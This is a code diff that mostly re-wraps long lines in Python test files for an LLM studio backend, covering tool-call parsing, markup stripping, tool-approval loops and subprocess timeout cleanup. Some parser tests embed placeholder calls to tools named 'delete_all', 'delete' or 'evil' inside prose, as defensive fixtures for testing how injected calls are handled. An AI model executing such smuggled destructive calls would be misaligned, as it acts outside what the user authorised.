parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"lookup", "delete_all"} + ) assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls def test_non_call_leading_object_defers_to_trailing_real_call(self): @@ -1579,14 +1685,19 @@ class TestLeadingBareJsonOwnsTurnOverTrailingXml: for lead in ('{"answer": 42}', '{"name":"draft","parameters":{}}'): text = lead + ' {"name":"delete_all","arguments":{}}' calls = parse_tool_calls_from_text(text, enabled_tool_names = {"delete_all"}) - assert [c["function"]["name"] for c in calls] == ["delete_all"], (lead, calls) + assert [c["function"]["name"] for c in calls] == ["delete_all"], ( + lead, + calls, + ) def test_leading_xml_call_still_wins_over_trailing_bare_json(self): text = ( '{"name":"delete_all","arguments":{}} ' 'Example: {"name":"lookup","parameters":{"q":"x"}}' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "delete_all"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"lookup", "delete_all"} + ) assert [c["function"]["name"] for c in calls] == ["delete_all"], calls @@ -1608,7 +1719,9 @@ class TestProseCloseTagAfterClosedFunctionCall: text = 'print("")' calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"}) assert [c["function"]["name"] for c in calls] == ["python"], calls - assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("")'} + assert json.loads(calls[0]["function"]["arguments"]) == { + "code": 'print("")' + } def test_attribute_form_arguments_do_not_swallow_prose(self): # The attribute form shares the first-balanced-close @@ -1624,14 +1737,18 @@ class TestProseCloseTagAfterClosedFunctionCall: def test_attribute_form_literal_close_in_open_parameter_stays_data(self): text = 'print("")' calls = parse_tool_calls_from_text(text, enabled_tool_names = {"python"}) - assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("")'} + assert json.loads(calls[0]["function"]["arguments"]) == { + "code": 'print("")' + } def test_attribute_form_two_calls_both_parse(self): text = ( 'cats' 'x=1' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "python"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "python"} + ) assert [c["function"]["name"] for c in calls] == ["web_search", "python"], calls @@ -1676,7 +1793,9 @@ class TestAttributeFormLeadingContainment: 'find ' '{"name":"delete","arguments":{}}' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "delete"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"] assert "delete" in json.loads(calls[0]["function"]["arguments"])["query"] @@ -1687,7 +1806,9 @@ class TestAttributeFormLeadingContainment: '{"name":"delete","arguments":{}} Example: ' 'x' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "delete"} + ) assert calls[0]["function"]["name"] == "delete" @@ -1736,7 +1857,9 @@ class TestMistralPreambleOwnership: 'pref [TOOL_CALLS]web_search[ARGS]{"query":"cats"} Note ' "1" ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "evil"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"] def test_array_form_after_preface(self): @@ -1746,7 +1869,9 @@ class TestMistralPreambleOwnership: 'pref [TOOL_CALLS][{"name":"web_search","arguments":{"query":"cats"}}] Note ' "1" ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "evil"} + ) assert [c["function"]["name"] for c in calls] == ["web_search"] def test_xml_call_before_trigger_keeps_order(self): @@ -1756,7 +1881,9 @@ class TestMistralPreambleOwnership: "1 then " '[TOOL_CALLS][{"name":"web_search","arguments":{}}]' ) - calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "evil"}) + calls = parse_tool_calls_from_text( + text, enabled_tool_names = {"web_search", "evil"} + ) assert calls[0]["function"]["name"] == "evil" def test_prose_mention_without_call_shape_keeps_order(self): @@ -1783,7 +1910,10 @@ class TestBareJsonStripRequiresTopLevelName: def test_real_call_still_strips_name_agnostic(self): from core.inference.tool_call_parser import strip_leading_bare_json_call - assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"q":"x"}}') == "" + assert ( + strip_leading_bare_json_call('{"name":"web_search","parameters":{"q":"x"}}') + == "" + ) class TestGemmaAwareClosedBlockPrePass: @@ -1813,9 +1943,7 @@ class TestGemmaAwareClosedBlockPrePass: def test_gemma_opener_inside_json_arg_still_strips_block(self): from core.tool_healing import strip_tool_call_markup - text = ( - '{"name":"t","arguments":{"code":"<|tool_call>call:x{"}} after' - ) + text = '{"name":"t","arguments":{"code":"<|tool_call>call:x{"}} after' assert strip_tool_call_markup(text, final = True) == "after" def test_gemma_opener_inside_function_param_still_strips_block(self): diff --git a/studio/backend/tests/test_tool_confirm_loop.py b/studio/backend/tests/test_tool_confirm_loop.py index 3db591f542..18dba68c14 100644 --- a/studio/backend/tests/test_tool_confirm_loop.py +++ b/studio/backend/tests/test_tool_confirm_loop.py @@ -101,7 +101,9 @@ def _drive( if ev["type"] == "tool_start" and ev.get("awaiting_confirmation"): # Slot is already registered (begin ran before this yield), so # the decision lands before the loop enters its blocking wait. - resolve_tool_decision(ev["approval_id"], next(decision_iter), session_id = _SESSION) + resolve_tool_decision( + ev["approval_id"], next(decision_iter), session_id = _SESSION + ) return events, exec_fn.calls diff --git a/studio/backend/tests/test_tool_confirm_stream.py b/studio/backend/tests/test_tool_confirm_stream.py index 0813f6b68d..0a90ae0f9b 100644 --- a/studio/backend/tests/test_tool_confirm_stream.py +++ b/studio/backend/tests/test_tool_confirm_stream.py @@ -69,7 +69,9 @@ def _build_app() -> FastAPI: "approval_id": approval_id, "awaiting_confirmation": True, } - denied = wait_tool_decision(slot, approval_id, cancel_event = cancel_event) == "deny" + denied = ( + wait_tool_decision(slot, approval_id, cancel_event = cancel_event) == "deny" + ) result = TOOL_REJECTED_MESSAGE if denied else _EXECUTED_RESULT yield {"type": "tool_end", "tool_name": "python", "result": result} @@ -116,7 +118,9 @@ class _Server: def __init__(self, app): self.port = _free_port() - config = uvicorn.Config(app, host = "127.0.0.1", port = self.port, log_level = "warning") + config = uvicorn.Config( + app, host = "127.0.0.1", port = self.port, log_level = "warning" + ) self.server = uvicorn.Server(config) self._thread = threading.Thread(target = self.server.run, daemon = True) @@ -159,7 +163,9 @@ async def _drive(base_url, session_id, decision): resolved = None timeout = httpx.Timeout(10.0) async with httpx.AsyncClient(base_url = base_url, timeout = timeout) as client: - async with client.stream("POST", "/stream", json = {"session_id": session_id}) as resp: + async with client.stream( + "POST", "/stream", json = {"session_id": session_id} + ) as resp: assert resp.status_code == 200 async for line in resp.aiter_lines(): if not line.startswith("data: "): diff --git a/studio/backend/tests/test_tool_loop_controller.py b/studio/backend/tests/test_tool_loop_controller.py index 496c30ac13..42fb75f8ba 100644 --- a/studio/backend/tests/test_tool_loop_controller.py +++ b/studio/backend/tests/test_tool_loop_controller.py @@ -23,7 +23,10 @@ from core.inference.tool_loop_controller import ( def test_append_deferred_nudges_merges_deduped_into_one_message(): - conversation = [{"role": "assistant", "tool_calls": [1]}, {"role": "tool", "content": "r"}] + conversation = [ + {"role": "assistant", "tool_calls": [1]}, + {"role": "tool", "content": "r"}, + ] nudges = [ {"role": "user", "content": "duplicate"}, {"role": "user", "content": "duplicate"}, # dropped: same content @@ -31,7 +34,9 @@ def test_append_deferred_nudges_merges_deduped_into_one_message(): ] append_deferred_nudges(conversation, nudges) # One user message, after the results, with distinct contents joined. - assert conversation[2:] == [{"role": "user", "content": "duplicate\n\ndisabled foo"}] + assert conversation[2:] == [ + {"role": "user", "content": "duplicate\n\ndisabled foo"} + ] # Empty is a no-op. before = list(conversation) append_deferred_nudges(conversation, []) @@ -86,7 +91,10 @@ def test_status_and_provenance_match_local_event_conventions(): status_for_tool("web_search", {"url": "https://www.example.com/a"}) == "Reading: example.com" ) - assert status_for_tool("python", {"code": "print(1)\nprint(2)"}) == "Running Python: print(1)" + assert ( + status_for_tool("python", {"code": "print(1)\nprint(2)"}) + == "Running Python: print(1)" + ) assert tool_event_provenance(healed = True, forced = False, provisional = None) == { "source": "local", "healed": True, @@ -102,7 +110,10 @@ def test_prepare_execute_builds_visible_events_and_model_tool_message(): assert decision.status_text == "Searching: gpu prices" assert decision.tool_start_payload()["arguments"] == {"query": "gpu prices"} assert decision.tool_start_event()["type"] == "tool_start" - assert decision.as_assistant_tool_call()["function"]["arguments"] == '{"query":"gpu prices"}' + assert ( + decision.as_assistant_tool_call()["function"]["arguments"] + == '{"query":"gpu prices"}' + ) completion = controller.record_result(decision, "Search result\n__IMAGES__:{...}") @@ -118,10 +129,14 @@ def test_prepare_execute_builds_visible_events_and_model_tool_message(): def test_successful_duplicate_is_internal_noop_and_keeps_remaining_tools(): controller = ToolLoopController(tools = [_tool("web_search"), _tool("python")]) - first = controller.prepare_call(_call("web_search", {"query": "gpu prices"}, "call_a")) + first = controller.prepare_call( + _call("web_search", {"query": "gpu prices"}, "call_a") + ) controller.record_result(first, "ok") - duplicate = controller.prepare_call(_call("web_search", {"query": "gpu prices"}, "call_b")) + duplicate = controller.prepare_call( + _call("web_search", {"query": "gpu prices"}, "call_b") + ) completion = controller.record_noop(duplicate) assert duplicate.action == "duplicate" @@ -144,10 +159,14 @@ def test_successful_duplicate_is_internal_noop_and_keeps_remaining_tools(): def test_repeated_successful_duplicate_becomes_terminal_after_one_recovery_nudge(): controller = ToolLoopController(tools = [_tool("web_search"), _tool("python")]) - first = controller.prepare_call(_call("web_search", {"query": "gpu prices"}, "call_a")) + first = controller.prepare_call( + _call("web_search", {"query": "gpu prices"}, "call_a") + ) controller.record_result(first, "ok") - duplicate_one = controller.prepare_call(_call("web_search", {"query": "gpu prices"}, "call_b")) + duplicate_one = controller.prepare_call( + _call("web_search", {"query": "gpu prices"}, "call_b") + ) completion_one = controller.record_noop(duplicate_one) assert duplicate_one.action == "duplicate" @@ -158,7 +177,9 @@ def test_repeated_successful_duplicate_becomes_terminal_after_one_recovery_nudge "python", ] - duplicate_two = controller.prepare_call(_call("web_search", {"query": "gpu prices"}, "call_c")) + duplicate_two = controller.prepare_call( + _call("web_search", {"query": "gpu prices"}, "call_c") + ) completion_two = controller.record_noop(duplicate_two) assert duplicate_two.action == "duplicate" @@ -216,12 +237,16 @@ def test_render_html_success_filters_active_tools_and_repeat_is_internal(): "web_search", ] - first = controller.prepare_call(_call("render_html", {"code": ""}, "call_html_1")) + first = controller.prepare_call( + _call("render_html", {"code": ""}, "call_html_1") + ) controller.record_result(first, "Rendered HTML canvas: Demo") assert [t["function"]["name"] for t in controller.active_tools()] == ["web_search"] - repeat = controller.prepare_call(_call("render_html", {"code": ""}, "call_html_2")) + repeat = controller.prepare_call( + _call("render_html", {"code": ""}, "call_html_2") + ) completion = controller.record_noop(repeat) assert repeat.action == "render_html_repeat" diff --git a/studio/backend/tests/test_tool_output_streaming.py b/studio/backend/tests/test_tool_output_streaming.py index 28bd79cc6e..171f203d00 100644 --- a/studio/backend/tests/test_tool_output_streaming.py +++ b/studio/backend/tests/test_tool_output_streaming.py @@ -556,7 +556,9 @@ def test_bash_exec_nonstreaming_timeout_kills_grandchild(tmp_path): result = _bash_exec(command, timeout = 1) # no output_callback -> communicate path assert "timed out" in result time.sleep(4.0) - assert not sentinel.exists(), "non-streaming timeout leaked a stdout-holding grandchild" + assert ( + not sentinel.exists() + ), "non-streaming timeout leaked a stdout-holding grandchild" @pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups") @@ -571,7 +573,9 @@ def test_python_exec_nonstreaming_timeout_kills_grandchild(tmp_path): result = _python_exec(code, timeout = 1) # no output_callback -> communicate path assert "timed out" in result time.sleep(4.0) - assert not sentinel.exists(), "non-streaming timeout leaked a stdout-holding grandchild" + assert ( + not sentinel.exists() + ), "non-streaming timeout leaked a stdout-holding grandchild" def test_drain_process_output_without_posix_process_group_apis(monkeypatch): @@ -662,18 +666,24 @@ def test_finite_drain_honors_cancel_after_leader_exit(tmp_path): started = time.monotonic() # Large finite timeout (30s); without the cancel poll the drain keeps reading # the grandchild until the pipe closes ~20s later. - output, timed_out = _drain_process_output(proc, 30, lambda _t: None, cancel_event, pgid = pgid) + output, timed_out = _drain_process_output( + proc, 30, lambda _t: None, cancel_event, pgid = pgid + ) elapsed = time.monotonic() - started assert elapsed < 5.0, f"finite drain ignored cancel_event (took {elapsed:.1f}s)" # Cancellation is not a timeout: the budget never elapsed. assert not timed_out assert "parent-done" in output time.sleep(11.0) # past the grandchild's 10s sentinel write - assert not sentinel.exists(), "cancel did not kill the stdout-holding grandchild group" + assert ( + not sentinel.exists() + ), "cancel did not kill the stdout-holding grandchild group" @pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups") -def test_streamed_wait_timeout_kills_grandchild_when_leader_reaped(tmp_path, monkeypatch): +def test_streamed_wait_timeout_kills_grandchild_when_leader_reaped( + tmp_path, monkeypatch +): # The proc.wait() timeout branch normally kills the group via _kill_process_tree. # But the leader can exit before _kill_process_tree samples its pgid, which then # short-circuits on the reaped leader and leaves a stdout-holding grandchild. @@ -761,11 +771,16 @@ def test_gguf_loop_final_tool_message_unchanged_by_streaming(monkeypatch): return result_text events_plain, payloads_plain = _run_gguf_tool_turn(monkeypatch, plain_tool) - events_streaming, payloads_streaming = _run_gguf_tool_turn(monkeypatch, streaming_tool) + events_streaming, payloads_streaming = _run_gguf_tool_turn( + monkeypatch, streaming_tool + ) def _tool_messages(payloads): return [ - msg for payload in payloads for msg in payload["messages"] if msg.get("role") == "tool" + msg + for payload in payloads + for msg in payload["messages"] + if msg.get("role") == "tool" ] # The role=tool message fed to the model is byte-identical: streaming is purely @@ -918,7 +933,9 @@ def test_missing_path_hint_respects_project_workdir(): # Against the real project workdir it is local -> no hint. assert _missing_path_hint(output, workdir) == "" # A path genuinely outside the project workdir still earns the hint. - outside_err = "FileNotFoundError: [Errno 2] No such file or directory: '/srv/other/x.html'" + outside_err = ( + "FileNotFoundError: [Errno 2] No such file or directory: '/srv/other/x.html'" + ) assert "working directory is writable" in _missing_path_hint(outside_err, workdir) @@ -939,7 +956,9 @@ def test_missing_path_hint_project_workdir_under_convention_prefix(): assert _missing_path_hint(root_output, workdir) == "" # A convention path genuinely outside the project workdir still earns the # hint (e.g. a /mnt/data habit path with a /workspace-rooted project). - outside = "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'" + outside = ( + "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'" + ) assert "'x.html', not '/mnt/data/x.html'" in _missing_path_hint(outside, workdir) # Without an explicit workdir the default sandbox root applies, so a # /workspace path is out of sandbox and keeps the habit-path hint. @@ -963,7 +982,9 @@ def test_missing_path_hint_convention_scoped_to_failing_line(): ) assert _missing_path_hint(printed_err) == "" # But a convention path ON the error line still earns the hint. - on_line = "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'" + on_line = ( + "FileNotFoundError: [Errno 2] No such file or directory: '/mnt/data/x.html'" + ) assert "'x.html', not '/mnt/data/x.html'" in _missing_path_hint(on_line) @@ -1082,7 +1103,9 @@ def test_bash_exec_missing_path_hint(): assert "No such file or directory" in baseline assert "working directory is writable" in baseline streamed = _bash_exec( - "cat /mnt/data/definitely_missing.txt", timeout = 60, output_callback = lambda _t: None + "cat /mnt/data/definitely_missing.txt", + timeout = 60, + output_callback = lambda _t: None, ) assert streamed == baseline @@ -1209,7 +1232,9 @@ def test_bash_exec_nonstreaming_cancel_kills_grandchild_after_leader_exit(tmp_pa assert time.monotonic() - started < 2.5 assert result == "Execution cancelled." time.sleep(3.5) - assert not sentinel.exists(), "non-streaming cancel leaked a stdout-holding grandchild" + assert ( + not sentinel.exists() + ), "non-streaming cancel leaked a stdout-holding grandchild" @pytest.mark.skipif(sys.platform == "win32", reason = "POSIX process groups") @@ -1231,4 +1256,6 @@ def test_python_exec_nonstreaming_cancel_kills_grandchild_after_leader_exit(tmp_ assert time.monotonic() - started < 2.5 assert result == "Execution cancelled." time.sleep(3.5) - assert not sentinel.exists(), "non-streaming cancel leaked a stdout-holding grandchild" + assert ( + not sentinel.exists() + ), "non-streaming cancel leaked a stdout-holding grandchild" diff --git a/studio/backend/tests/test_tool_strip_guard.py b/studio/backend/tests/test_tool_strip_guard.py index dfa3101882..1cb206ad19 100644 --- a/studio/backend/tests/test_tool_strip_guard.py +++ b/studio/backend/tests/test_tool_strip_guard.py @@ -56,12 +56,18 @@ def test_guard_matches_plain_loop_on_fuzz(): for patterns in (_TOOL_ALL_PATS, _TOOL_CLOSED_PATS): for _ in range(20000): s = "".join(rng.choice(_TOKENS) for _ in range(rng.randint(0, 10))) - assert strip_tool_patterns(s, patterns) == _naive(s, patterns), (s, patterns) + assert strip_tool_patterns(s, patterns) == _naive(s, patterns), ( + s, + patterns, + ) def test_strip_markup_representative_cases_unchanged(): assert strip_tool_call_markup("a {} b") == "a b" - assert strip_tool_call_markup("a 1 b") == "a b" + assert ( + strip_tool_call_markup("a 1 b") + == "a b" + ) # Non-final keeps an unclosed block; final strips it to EOF. assert strip_tool_call_markup("a {partial") == "a {partial" assert strip_tool_call_markup("a {partial", final = True) == "a" diff --git a/studio/backend/tests/test_tool_xml_strip.py b/studio/backend/tests/test_tool_xml_strip.py index f7792a2a71..650ed54926 100644 --- a/studio/backend/tests/test_tool_xml_strip.py +++ b/studio/backend/tests/test_tool_xml_strip.py @@ -100,7 +100,9 @@ _gemma_strip_gate = _ns["_gemma_strip_gate"] def test_route_display_strip_respects_disabled_auto_heal_contract(): text = 'literal {"name":"web_search"} survives' assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text - assert "" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "" not in _strip_tool_xml_for_display( + text, auto_heal_tool_calls = True + ) def test_route_display_strip_preserves_rehearsal_inside_think(): @@ -207,7 +209,9 @@ def test_strips_function_attribute_form(): # Auto-Heal-disabled display contract still preserves literal markup. assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = False) == text - assert "\n\nprint(1)\n" + text = ( + "I'll call python:\n\n\nprint(1)\n" + ) cleaned = _TOOL_XML_RE.sub("", text) assert "real done", final = True) == "answer real done" + _strip("answer real done", final = True) + == "answer real done" ) # A complete call followed by a real reasoning block: call stripped, block kept. - mixed = '{"name":"a","arguments":{}} mid r end' + mixed = ( + '{"name":"a","arguments":{}} mid r end' + ) assert _strip(mixed, final = True) == "mid r end" @@ -574,7 +583,9 @@ def test_route_display_strip_keeps_inactive_rehearsal_when_gated(): gate = {"web_search"} text = 'foo[ARGS]{"x":1} is just syntax.' assert ( - _strip_tool_xml_for_display(text, auto_heal_tool_calls = True, enabled_tool_names = gate) + _strip_tool_xml_for_display( + text, auto_heal_tool_calls = True, enabled_tool_names = gate + ) == text ) # A bare marker with no JSON body is likewise prose when inactive. @@ -590,7 +601,9 @@ def test_route_display_strip_removes_active_rehearsal_when_gated(): # Mirror case: an active tool name is a real rehearsal and still strips. gate = {"web_search"} out = _strip_tool_xml_for_display( - 'web_search[ARGS]{"query":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate + 'web_search[ARGS]{"query":"x"} done', + auto_heal_tool_calls = True, + enabled_tool_names = gate, ) assert "web_search[ARGS]" not in out assert out.strip() == "done" @@ -599,7 +612,10 @@ def test_route_display_strip_removes_active_rehearsal_when_gated(): def test_route_display_strip_ungated_strips_all_rehearsal_unchanged(): # Backwards-compat: with no gate (None) the bare rehearsal strips as before. text = 'foo[ARGS]{"x":1} is just syntax.' - assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "is just syntax." + assert ( + _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() + == "is just syntax." + ) assert ( _strip_tool_xml_for_display( text, auto_heal_tool_calls = True, enabled_tool_names = None @@ -612,7 +628,9 @@ def test_route_display_strip_control_token_stripped_regardless_of_gate(): # [TOOL_CALLS] is a control token: stripped even when its NAME is not in the gate. gate = {"web_search"} out = _strip_tool_xml_for_display( - '[TOOL_CALLS]foo[ARGS]{"x":1} keep', auto_heal_tool_calls = True, enabled_tool_names = gate + '[TOOL_CALLS]foo[ARGS]{"x":1} keep', + auto_heal_tool_calls = True, + enabled_tool_names = gate, ) assert "[TOOL_CALLS]" not in out and "foo[ARGS]" not in out assert out.strip() == "keep" @@ -626,11 +644,17 @@ def test_core_strip_gates_bare_rehearsal_on_enabled_tools(): text = 'foo[ARGS]{"x":1} is just syntax.' assert _strip(text, final = True, enabled_tool_names = {"web_search"}) == text assert ( - _strip('web_search[ARGS]{"q":1} done', final = True, enabled_tool_names = {"web_search"}) + _strip( + 'web_search[ARGS]{"q":1} done', + final = True, + enabled_tool_names = {"web_search"}, + ) == "done" ) assert _strip(text, final = True).strip() == "is just syntax." - assert _strip(text, final = True, enabled_tool_names = None).strip() == "is just syntax." + assert ( + _strip(text, final = True, enabled_tool_names = None).strip() == "is just syntax." + ) def test_route_display_strip_gate_preserves_inactive_history_rehearsal(): @@ -643,10 +667,14 @@ def test_route_display_strip_gate_preserves_inactive_history_rehearsal(): ) # An ACTIVE name is still stripped as a real rehearsed call. assert "web_search[ARGS]" not in _strip_tool_xml_for_display( - 'Result web_search[ARGS]{"q":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate + 'Result web_search[ARGS]{"q":"x"} done', + auto_heal_tool_calls = True, + enabled_tool_names = gate, ) # No gate (legacy) strips every NAME[ARGS]{...}. - assert "foo[ARGS]" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "foo[ARGS]" not in _strip_tool_xml_for_display( + text, auto_heal_tool_calls = True + ) def test_gguf_history_sanitizer_forwards_enabled_tool_names_gate(): @@ -657,8 +685,8 @@ def test_gguf_history_sanitizer_forwards_enabled_tool_names_gate(): _re.DOTALL, ) assert block, "could not locate GGUF history sanitizer block" - assert "enabled_tool_names" in block.group( - 0 + assert ( + "enabled_tool_names" in block.group(0) ), "GGUF history sanitizer must pass enabled_tool_names to _strip_tool_xml_for_display" @@ -806,15 +834,21 @@ def test_glm_normal_and_qwen_calls_still_stripped_by_route(): glm = "get_time\ntz\nUTC\n ok" assert _strip_tool_xml_for_display(glm, auto_heal_tool_calls = True).strip() == "ok" qwen = '{"name":"web_search","arguments":{"q":"x"}} after' - assert _strip_tool_xml_for_display(qwen, auto_heal_tool_calls = True).strip() == "after" + assert ( + _strip_tool_xml_for_display(qwen, auto_heal_tool_calls = True).strip() == "after" + ) def test_route_strip_removes_param_alias_close_tag(): # The parser accepts the ... attribute-form alias of # ; the route tail cleanup must strip an orphan close too. - assert _strip_tool_xml_for_display("answer ", auto_heal_tool_calls = True) == "answer " assert ( - _strip_tool_xml_for_display("answer ", auto_heal_tool_calls = True) == "answer " + _strip_tool_xml_for_display("answer ", auto_heal_tool_calls = True) + == "answer " + ) + assert ( + _strip_tool_xml_for_display("answer ", auto_heal_tool_calls = True) + == "answer " ) @@ -822,13 +856,17 @@ def test_route_strip_uses_guarded_function_scan_for_literal_nested_markup(): # A literal in a value must not truncate the strip: the route runs the # parser's guarded function-XML scan before the regex, matching the core strip. text = " tail" - assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "tail" + assert ( + _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "tail" + ) def test_route_strip_gates_wrapperless_gemma_by_enabled_tools(): # The route strip must gate the markerless Gemma call:NAME{...} form on the enabled tool names, # like the parser/loop, so a disabled/example name in prose is preserved in ... - prose = "To document syntax you write call:foo{query:example}. That shows the format." + prose = ( + "To document syntax you write call:foo{query:example}. That shows the format." + ) assert "call:foo{query:example}" in _strip_tool_xml(prose, {"web_search"}) # An enabled name is still a real call and stripped. assert "call:web_search" not in _strip_tool_xml( @@ -844,7 +882,9 @@ def test_gemma_strip_gate_empty_tools_preserves_prose(): assert _gemma_strip_gate([]) == set() assert _gemma_strip_gate(None) == set() assert _gemma_strip_gate([{"function": {"name": "web_search"}}]) == {"web_search"} - prose = "To document syntax you write call:foo{query:example}. That shows the format." + prose = ( + "To document syntax you write call:foo{query:example}. That shows the format." + ) assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate([])) assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate(None)) # An enabled tool's real call is still stripped. @@ -862,7 +902,10 @@ def test_strip_keeps_prose_after_closed_function_call_with_literal_close(): "cats" " Done. The tag closes a call." ) - assert strip_tool_markup(text, final = True) == "Done. The tag closes a call." + assert ( + strip_tool_markup(text, final = True) + == "Done. The tag closes a call." + ) def test_final_strip_keeps_prose_mentioning_bare_markers(): @@ -903,13 +946,13 @@ def test_chained_bare_json_strip_consumes_all_calls(): ) assert strip_leading_bare_json_call(chained, enabled_tool_names = enabled) == "" assert ( - strip_leading_bare_json_call(chained + " trailing prose", enabled_tool_names = enabled) + strip_leading_bare_json_call( + chained + " trailing prose", enabled_tool_names = enabled + ) == "trailing prose" ) # The chain stops at a non-call answer object, which stays visible. - call_then_answer = ( - '{"name":"web_search","parameters":{"q":"x"}};{"name":"web_search","result":"data"}' - ) + call_then_answer = '{"name":"web_search","parameters":{"q":"x"}};{"name":"web_search","result":"data"}' assert ( strip_leading_bare_json_call(call_then_answer, enabled_tool_names = enabled) == '{"name":"web_search","result":"data"}' diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py index e4775a10a6..c07bcfc4f3 100644 --- a/studio/backend/tests/test_torchao_select.py +++ b/studio/backend/tests/test_torchao_select.py @@ -114,7 +114,9 @@ def test_skips_torchao_on_windows_rocm( monkeypatch.setattr(mod, "IS_MACOS", False) monkeypatch.setattr(mod, "IS_MAC_ARM", False) monkeypatch.setattr(mod, "NO_TORCH", False) - monkeypatch.setattr(mod, "_rocm_windows_torch_installed", rocm_windows_torch_installed) + monkeypatch.setattr( + mod, "_rocm_windows_torch_installed", rocm_windows_torch_installed + ) monkeypatch.setattr( mod, "_installed_torch_is_windows_rocm", lambda: installed_torch_is_windows_rocm ) @@ -128,7 +130,9 @@ def test_skips_torchao_on_windows_rocm( monkeypatch.setattr(mod, "_progress", lambda label: progress_labels.append(label)) monkeypatch.setattr(mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin) monkeypatch.setattr(mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin) - monkeypatch.setattr(mod.subprocess, "run", lambda *args, **kwargs: subprocess_result) + monkeypatch.setattr( + mod.subprocess, "run", lambda *args, **kwargs: subprocess_result + ) assert mod.install_python_stack() == 0 diff --git a/studio/backend/tests/test_torchao_stub_worker_parity.py b/studio/backend/tests/test_torchao_stub_worker_parity.py index bb743385f1..f2f65431f7 100644 --- a/studio/backend/tests/test_torchao_stub_worker_parity.py +++ b/studio/backend/tests/test_torchao_stub_worker_parity.py @@ -37,7 +37,9 @@ def _stub_call_linenos(node) -> list[int]: return [ c.lineno for c in ast.walk(node) - if isinstance(c, ast.Call) and isinstance(c.func, ast.Name) and c.func.id == _STUB + if isinstance(c, ast.Call) + and isinstance(c.func, ast.Name) + and c.func.id == _STUB ] @@ -82,7 +84,10 @@ def _imports_transformers(node) -> bool: module.split(".")[0] == "transformers" or module == _INFERENCE_MOD or module.startswith(_INFERENCE_MOD + ".") - or (module == "core.inference" and any(a.name == "inference" for a in node.names)) + or ( + module == "core.inference" + and any(a.name == "inference" for a in node.names) + ) ) # Relative forms inside core/inference/worker.py: ``from .inference import X`` and # ``from . import inference`` both resolve to core.inference.inference. diff --git a/studio/backend/tests/test_tp_vision_regression.py b/studio/backend/tests/test_tp_vision_regression.py index d1372ca415..8757dfbc87 100644 --- a/studio/backend/tests/test_tp_vision_regression.py +++ b/studio/backend/tests/test_tp_vision_regression.py @@ -106,7 +106,10 @@ def _tensor_parallel_false_drop_guards() -> list[str]: for n in body: if ( isinstance(n, ast.Assign) - and any(isinstance(t, ast.Name) and t.id == "tensor_parallel" for t in n.targets) + and any( + isinstance(t, ast.Name) and t.id == "tensor_parallel" + for t in n.targets + ) and isinstance(n.value, ast.Constant) and n.value.value is False ): @@ -165,7 +168,9 @@ def test_every_tp_drop_is_logged_not_silent(): def _body_drops_tp(body): return any( isinstance(n, ast.Assign) - and any(isinstance(t, ast.Name) and t.id == "tensor_parallel" for t in n.targets) + and any( + isinstance(t, ast.Name) and t.id == "tensor_parallel" for t in n.targets + ) and isinstance(n.value, ast.Constant) and n.value.value is False for n in body @@ -221,7 +226,9 @@ def test_tensor_split_abort_recorded_early_on_first_spawn(): ), "record must be gated on the marker-plus-hard-crash decision helper" # Recorded before the flash-attn-off retry, not after the full ladder. fa_off = src.find("_with_flash_attn_off") - assert 0 <= idx < fa_off, "recording must latch on the first spawn, before flash-off" + assert ( + 0 <= idx < fa_off + ), "recording must latch on the first spawn, before flash-off" def test_vision_downgrade_preserves_multi_gpu_intent(): @@ -240,7 +247,9 @@ def test_vision_downgrade_preserves_multi_gpu_intent(): def test_tensor_attempted_by_default_for_unknown_binary(): """A (binary, model) not seen to abort -> tensor is attempted (not skipped).""" - assert LlamaCppBackend._tensor_split_aborts("/never/seen/llama-server", "m") is False + assert ( + LlamaCppBackend._tensor_split_aborts("/never/seen/llama-server", "m") is False + ) assert LlamaCppBackend._tensor_split_aborts(None, "m") is False assert LlamaCppBackend._tensor_split_aborts("/x", None) is False @@ -457,11 +466,13 @@ def test_fallback_hint_uses_effective_tensor_request_not_just_toggle(): assert "extra_llama_args, request.tensor_parallel" in block pres = 